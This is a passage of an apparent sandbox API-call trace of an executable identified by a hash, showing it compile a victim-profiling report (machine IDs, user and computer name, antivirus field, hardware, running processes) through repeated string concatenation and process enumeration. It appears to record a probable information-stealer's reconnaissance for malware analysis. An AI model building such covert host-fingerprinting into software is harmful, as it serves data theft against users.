16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe ["
[0054.819] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da08
[0054.819] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0054.819] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9f8
[0054.820] GetLastError () returned 0x7a
[0054.820] SetLastError (dwErrCode=0x7a)
[0054.820] GetLastError () returned 0x7a
[0054.820] SetLastError (dwErrCode=0x7a)
[0054.820] GetLastError () returned 0x7a
[0054.820] SetLastError (dwErrCode=0x7a)
[0054.820] GetLastError () returned 0x7a
[0054.820] SetLastError (dwErrCode=0x7a)
[0054.820] GetLastError () returned 0x7a
[0054.820] SetLastError (dwErrCode=0x7a)
[0054.820] GetLastError () returned 0x7a
[0054.820] SetLastError (dwErrCode=0x7a)
[0054.820] GetLastError () returned 0x7a
[0054.820] SetLastError (dwErrCode=0x7a)
[0054.820] GetLastError () returned 0x7a
[0054.820] SetLastError (dwErrCode=0x7a)
[0054.820] GetLastError () returned 0x7a
[0054.820] SetLastError (dwErrCode=0x7a)
[0054.821] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db18
[0054.821] GetLastError () returned 0x7a
[0054.821] SetLastError (dwErrCode=0x7a)
[0054.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9f8 | out: hHeap=0x670000) returned 1
[0054.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.821] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da08 | out: hHeap=0x670000) returned 1
[0054.821] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [", lpString2="756" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756"
[0054.821] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n"
[0054.821] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5b, th32ParentProcessID=0x210, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
[0054.822] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- "
[0054.822] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- ", lpString2="svchost.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe"
[0054.822] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe ["
[0054.822] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d998
[0054.822] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x671500
[0054.822] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67da28
[0054.822] GetLastError () returned 0x7a
[0054.823] SetLastError (dwErrCode=0x7a)
[0054.823] GetLastError () returned 0x7a
[0054.823] SetLastError (dwErrCode=0x7a)
[0054.823] GetLastError () returned 0x7a
[0054.823] SetLastError (dwErrCode=0x7a)
[0054.823] GetLastError () returned 0x7a
[0054.823] SetLastError (dwErrCode=0x7a)
[0054.823] GetLastError () returned 0x7a
[0054.823] SetLastError (dwErrCode=0x7a)
[0054.823] GetLastError () returned 0x7a
[0054.823] SetLastError (dwErrCode=0x7a)
[0054.823] GetLastError () returned 0x7a
[0054.823] SetLastError (dwErrCode=0x7a)
[0054.823] GetLastError () returned 0x7a
[0054.823] SetLastError (dwErrCode=0x7a)
[0054.823] GetLastError () returned 0x7a
[0054.823] SetLastError (dwErrCode=0x7a)
[0054.823] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67db18
[0054.823] GetLastError () returned 0x7a
[0054.823] SetLastError (dwErrCode=0x7a)
[0054.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67da28 | out: hHeap=0x670000) returned 1
[0054.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.824] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d998 | out: hHeap=0x670000) returned 1
[0054.824] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [", lpString2="856" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856"
[0054.824] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display 